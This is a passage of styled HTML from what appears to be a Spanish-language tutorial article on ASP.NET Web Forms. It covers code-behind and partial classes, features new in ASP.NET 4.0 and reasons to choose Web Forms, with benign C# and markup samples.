<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"></body></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"></html></li>
</ol>
</code></pre>
</div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<span style="background-color: white;">En el fichero de <em style="border: 0px; font-family: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">code behind</em> se implementa el código de servidor de la página como los manejadores de eventos de los controles de la página (en el ejemplo: <em style="border: 0px; font-family: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">MyButton_Click</em>), código de interacción con las capas de lógica de negocio o acceso a datos, o código de validación de datos de entrada del usuario por ejemplo.</span></div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<span style="background-color: white;"><strong style="border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px;">WebForm.aspx.cs</strong>:</span></div>
<div class="CodeHighlighter" style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin: 0px; outline: 0px; padding: 0px; word-wrap: break-word;">
<pre style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; outline: 0px; padding: 0px; white-space: pre-wrap;"><code class="csharp" id="c_4a72c65953d84e8eb1cda730188ebd9a" style="border: 0px; font-family: 'Courier New', Courier, monospace; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;"><ol style="background-color: white; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; line-height: 1.5; margin: 12px 0px 12px 12px; outline: 0px; padding: 16px;">
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"><span class="cs__keyword" style="border: 0px; color: navy; font-family: inherit; font-style: inherit; font-weight: bold; margin: 0px; outline: 0px; padding: 0px;">using</span> System;</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> </li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"><span class="cs__keyword" style="border: 0px; color: navy; font-family: inherit; font-style: inherit; font-weight: bold; margin: 0px; outline: 0px; padding: 0px;">namespace</span> AdventureWorksWebForms</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;">{</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> <span class="cs__keyword" style="border: 0px; color: navy; font-family: inherit; font-style: inherit; font-weight: bold; margin: 0px; outline: 0px; padding: 0px;">public</span> partial <span class="cs__keyword" style="border: 0px; color: navy; font-family: inherit; font-style: inherit; font-weight: bold; margin: 0px; outline: 0px; padding: 0px;">class</span> WebForm : System.Web.UI.Page</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> {</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> <span class="cs__keyword" style="border: 0px; color: navy; font-family: inherit; font-style: inherit; font-weight: bold; margin: 0px; outline: 0px; padding: 0px;">protected</span> <span class="cs__keyword" style="border: 0px; color: navy; font-family: inherit; font-style: inherit; font-weight: bold; margin: 0px; outline: 0px; padding: 0px;">void</span> MyButton_Click(<span class="cs__keyword" style="border: 0px; color: navy; font-family: inherit; font-style: inherit; font-weight: bold; margin: 0px; outline: 0px; padding: 0px;">object</span> sender, EventArgs e)</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> {</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> MyLabel.Text = <span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"Hello World changed after post-back!"</span>;</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> }</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> }</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;">}</li>
</ol>
</code></pre>
</div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<span style="background-color: white;">Con el Framework .NET 2.0 se introdujo el concepto de clases parciales lo que permite implementar clases de .NET en más de un fichero. ASP.NET 2.0 hizo uso de las clases parciales en los ficheros de <em style="border: 0px; font-family: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">code behind</em> para crear una separación adicional entre el código generado automáticamente por Visual Studio y el <em style="border: 0px; font-family: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">code behind</em> desarrollado por el programador. En versiones anteriores de ASP.NET, Visual Studio añadía código directamente en el fichero de <em style="border: 0px; font-family: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">code behind</em>, como por ejemplo el código de declaración de variables de controles de servidor, generado automáticamente al arrastrar un control a la página en la vista de diseño de Visual Studio.</span></div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<span style="background-color: white;">Por tanto, a partir de ASP.NET 2.0 el fichero de <em style="border: 0px; font-family: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">code behind</em> se simplifica aún más dado que desaparecen estas declaraciones de variables y el código generado por Visual Studio se crea en un fichero distinto de la misma clase parcial:</span></div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<span style="background-color: white;"><strong style="border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px;">WebForm.aspx.designer.cs</strong>:</span></div>
<div class="CodeHighlighter" style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin: 0px; outline: 0px; padding: 0px; word-wrap: break-word;">
<pre style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; outline: 0px; padding: 0px; white-space: pre-wrap;"><code class="csharp" id="c_d792078cdb7e4aacbcbab66cc9df4008" style="border: 0px; font-family: 'Courier New', Courier, monospace; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;"><ol style="background-color: white; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; line-height: 1.5; margin: 12px 0px 12px 12px; outline: 0px; padding: 16px;">
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"><span class="cs__keyword" style="border: 0px; color: navy; font-family: inherit; font-style: inherit; font-weight: bold; margin: 0px; outline: 0px; padding: 0px;">namespace</span> AdventureWorksWebForms </li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;">{ </li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> <span class="cs__keyword" style="border: 0px; color: navy; font-family: inherit; font-style: inherit; font-weight: bold; margin: 0px; outline: 0px; padding: 0px;">public</span> partial <span class="cs__keyword" style="border: 0px; color: navy; font-family: inherit; font-style: inherit; font-weight: bold; margin: 0px; outline: 0px; padding: 0px;">class</span> WebForm </li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> {</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> … </li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> <span class="cs__com" style="border: 0px; color: green; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">/// <summary> </span></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> <span class="cs__com" style="border: 0px; color: green; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">/// MyLabel control.</span></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> <span class="cs__com" style="border: 0px; color: green; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">/// </summary></span></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> <span class="cs__com" style="border: 0px; color: green; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">/// <remarks></span></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> <span class="cs__com" style="border: 0px; color: green; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">/// Auto-generated field.</span></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> <span class="cs__com" style="border: 0px; color: green; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">/// To modify move field declaration from designer file to code-behind file.</span></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> <span class="cs__com" style="border: 0px; color: green; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">/// </remarks></span></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> <span class="cs__keyword" style="border: 0px; color: navy; font-family: inherit; font-style: inherit; font-weight: bold; margin: 0px; outline: 0px; padding: 0px;">protected</span> global::System.Web.UI.WebControls.Label MyLabel;</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> </li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> <span class="cs__com" style="border: 0px; color: green; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">/// <summary></span></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> <span class="cs__com" style="border: 0px; color: green; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">/// MyButton control.</span></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> <span class="cs__com" style="border: 0px; color: green; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">/// </summary></span></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> <span class="cs__com" style="border: 0px; color: green; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">/// <remarks></span></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> <span class="cs__com" style="border: 0px; color: green; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">/// Auto-generated field.</span></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> <span class="cs__com" style="border: 0px; color: green; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">/// To modify move field declaration from designer file to code-behind file.</span></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> <span class="cs__com" style="border: 0px; color: green; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">/// </remarks></span></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> <span class="cs__keyword" style="border: 0px; color: navy; font-family: inherit; font-style: inherit; font-weight: bold; margin: 0px; outline: 0px; padding: 0px;">protected</span> global::System.Web.UI.WebControls.Button MyButton;</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> }</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;">}</li>
</ol>
</code></pre>
</div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<span style="background-color: white;">Web Forms es un modelo de programación cuya principal característica es el nivel de abstracción y encapsulamiento que proporciona, a la vez que es tremendamente versátil. Web Forms es una tecnología en la que Microsoft sigue invirtiendo fuertemente, y en ASP.NET 4.0 se introducen numerosas novedades y mejoras que corrigen muchas de las que históricamente han sido sus debilidades:</span></div>
<ul style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 1.5; margin: 12px 0px 12px 12px; outline: 0px; padding: 0px;">
<li style="background-image: url(http://i3.msdn.microsoft.com/Areas/Sto/Content/Theming/Images/common.png); background-position: -405px -1px; background-repeat: no-repeat no-repeat; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style: none; margin: 0px; outline: 0px; padding: 0px 0px 3px 12px;"><span style="background-color: white;"><em style="border: 0px; font-family: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;"><a href="http://weblogs.asp.net/scottgu/archive/2009/10/13/url-routing-with-asp-net-4-web-forms-vs-2010-and-net-4-0-series.aspx" style="border: 0px; color: #0066dd; cursor: pointer; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; text-decoration: none;">Web Forms URL Routing</a></em>: Permite crear URLs optimizadas para motores de búsqueda (SEO).</span></li>
<li style="background-image: url(http://i3.msdn.microsoft.com/Areas/Sto/Content/Theming/Images/common.png); background-position: -405px -1px; background-repeat: no-repeat no-repeat; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style: none; margin: 0px; outline: 0px; padding: 0px 0px 3px 12px;"><span style="background-color: white;"><em style="border: 0px; font-family: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;"><a href="http://weblogs.asp.net/scottgu/archive/2010/03/30/cleaner-html-markup-with-asp-net-4-web-forms-client-ids-vs-2010-and-net-4-0-series.aspx" style="border: 0px; color: #0066dd; cursor: pointer; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; text-decoration: none;">HTML más predecible</a></em>: Los controles de servidor generan HTML más compatible con los estándares y más fácil integrar con JavaScript y CSS.</span></li>
<li style="background-image: url(http://i3.msdn.microsoft.com/Areas/Sto/Content/Theming/Images/common.png); background-position: -405px -1px; background-repeat: no-repeat no-repeat; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style: none; margin: 0px; outline: 0px; padding: 0px 0px 3px 12px;"><span style="background-color: white;"><em style="border: 0px; font-family: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;"><a href="http://www.asp.net/web-forms/videos/net-4/performance/aspnet-4-quick-hit-selective-view-state" style="border: 0px; color: #0066dd; cursor: pointer; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; text-decoration: none;">View State selectivo</a></em>: Permite habilitar y deshabilitar el view state granularmente a nivel de control de forma más flexible que en anteriores versiones de ASP.NET.</span></li>
</ul>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<span style="background-color: white;">Estos son algunos ejemplos, pero existe una lista completa de todas las novedades en <a href="http://www.asp.net/whitepapers/aspnet4" style="border: 0px; color: #0066dd; cursor: pointer; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; text-decoration: none;">http://www.asp.net/whitepapers/aspnet4</a>.</span></div>
<h2 style="border: 0px; clear: both; color: #3a3e43; font-family: 'Segoe UI Semibold', 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 20px; line-height: 1.25; margin: 4px 0px; outline: 0px; padding: 0px;">
<span style="background-color: white;">Cinco razones por las que ASP.NET Web Forms puede ser la mejor opción para ti</span></h2>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<strong style="background-color: white; border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px;">1 – Modelo de programación familiar basado en controles y eventos</strong></div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<span style="background-color: white;">Quien esté familiarizado con el desarrollo de aplicaciones de escritorio, por ejemplo con .NET Windows Forms o Java Swing, le costará poco la transición al desarrollo con ASP.NET Web Forms. Web Forms preserva el paradigma de arrastrar controles sobre las páginas web de forma equivalente a como se arrastran los controles sobre una aplicación de Windows. Los controles de servidor de ASP.NET pueden ser elementos de interacción simples como el <em style="border: 0px; font-family: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">botón</em>o la <em style="border: 0px; font-family: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">caja de texto</em>, o controles más complejos como el <em style="border: 0px; font-family: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">calendario</em>, el <em style="border: 0px; font-family: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">menú</em> o el control de <em style="border: 0px; font-family: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">login</em> que encapsulan funcionalidad más compleja.</span></div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<span style="background-color: white;"><img align="" alt="" height="285" src="http://i.msdn.microsoft.com/hh984854.001(es-es,MSDN.10).jpg" style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;" title="" width="400" /></span></div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<span style="background-color: white;">Los controles tienen propiedades asociadas que se pueden manipular declarativamente en el fichero *.aspx, programáticamente desde el fichero <em style="border: 0px; font-family: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">code behind</em>o desde la propia interfaz gráfica de Visual Studio.</span></div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<span style="background-color: white;"><img align="" alt="" src="http://i.msdn.microsoft.com/hh984854.002(es-es,MSDN.10).jpg" style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;" title="" /></span></div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<span style="background-color: white;">Adicionalmente, las páginas Web Forms y sus controles de servidor lanzan una serie de eventos ante determinadas situaciones o interacciones del usuario, y una parte fundamental de las aplicaciones Web Forms radica precisamente en manejar y responder adecuadamente ante dichos eventos.</span></div>
<div class="CodeHighlighter" style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin: 0px; outline: 0px; padding: 0px; word-wrap: break-word;">
<pre style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; outline: 0px; padding: 0px; white-space: pre-wrap;"><code class="csharp" id="c_9a98cb4a56bf4d2bafbabc3ef302d81d" style="border: 0px; font-family: 'Courier New', Courier, monospace; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;"><ol style="background-color: white; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; line-height: 1.5; margin: 12px 0px 12px 12px; outline: 0px; padding: 16px;">
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"><span class="cs__keyword" style="border: 0px; color: navy; font-family: inherit; font-style: inherit; font-weight: bold; margin: 0px; outline: 0px; padding: 0px;">protected</span> <span class="cs__keyword" style="border: 0px; color: navy; font-family: inherit; font-style: inherit; font-weight: bold; margin: 0px; outline: 0px; padding: 0px;">void</span> Button1_Click(<span class="cs__keyword" style="border: 0px; color: navy; font-family: inherit; font-style: inherit; font-weight: bold; margin: 0px; outline: 0px; padding: 0px;">object</span> sender, EventArgs e)</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;">{</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> Response.Redirect(<span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"/home.aspx"</span>, <span class="cs__keyword" style="border: 0px; color: navy; font-family: inherit; font-style: inherit; font-weight: bold; margin: 0px; outline: 0px; padding: 0px;">false</span>);</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> Context.ApplicationInstance.CompleteRequest();</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;">}</li>
</ol>
</code></pre>
</div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<strong style="background-color: white; border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px;">2 – Encapsulamiento de HTML, CSS y Javacscript.</strong></div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<span style="background-color: white;">ASP.NET Web Forms simplifica el desarrollo web encapsulando gran parte de la complejidad del protocolo HTTP y de los lenguajes HTML, JavaScript y CSS. En el desarrollo con Web Forms no es imprescindible (aunque sí conveniente) conocer en profundidad ninguna de estas tecnologías. En el protocolo HTTP por definición no existe el estado, y sin embargo las páginas ASP.NET Web Forms y sus controles mantienen el estado a lo largo de los post-backs. Uno de los mecanismos esenciales para conseguir este nivel de abstracción son precisamente los controles de servidor, que en gran medida abstraen al desarrollador del código HTML, CSS y JavaScript subyacente.</span></div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<span style="background-color: white;">Añadir un control de tipo <em style="border: 0px; font-family: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">calendar</em> a una página ASP.NET Web Forms únicamente requiere añadir la siguiente línea de código a la página *.aspx:</span></div>
<div class="CodeHighlighter" style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin: 0px; outline: 0px; padding: 0px; word-wrap: break-word;">
<pre style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; outline: 0px; padding: 0px; white-space: pre-wrap;"><code class="csharp" id="c_1462bc51e13f4c7da956f027ed2b6859" style="border: 0px; font-family: 'Courier New', Courier, monospace; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;"><ol style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; line-height: 1.5; margin: 12px 0px 12px 12px; outline: 0px; padding: 16px;">
<li style="background-color: white; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"><asp:Calendar ID=<span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"Calendar1"</span> runat=<span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"server"</span>></asp:Calendar></li>
</ol>
</code></pre>
</div>
<div style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin-bottom: 12px; outline: 0px; padding: 0px;">
<span style="background-color: white;">Sin embargo cuando la página se ejecuta el control de servidor genera un entramado relativamente complejo de código de cliente (HTML, Javascript y CSS) simplemente para “pintar” el calendario en la página. Al margen de esto, ASP.NET Web Forms proporciona la lógica necesaria en el servidor para que el control mantenga el estado a lo largo de varios post-backs, y todo esto de forma completamente transparente para el usuario.</span></div>
<div class="CodeHighlighter" style="border: 0px; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 16px; margin: 0px; outline: 0px; padding: 0px; word-wrap: break-word;">
<pre style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; outline: 0px; padding: 0px; white-space: pre-wrap;"><code class="csharp" id="c_fae143cfbbc24a7bb8c72dddc270dc28" style="border: 0px; font-family: 'Courier New', Courier, monospace; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;"><ol style="background-color: white; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; line-height: 1.5; margin: 12px 0px 12px 12px; outline: 0px; padding: 16px;">
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"><table id=<span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"Calendar1"</span> cellspacing=<span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"0"</span> cellpadding=<span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"2"</span> title=<span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"Calendar"</span> style=<span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"border-width:1px;border-style:solid;border-collapse:collapse;"</span>></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> <tr></li>
<li style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; list-style-image: none; margin: 0px; outline: 0px; padding: 0px;"> <td colspan=<span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"7"</span> style=<span class="cs__string" style="border: 0px; color: teal; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">"background-color:Silver;"</span>></li>
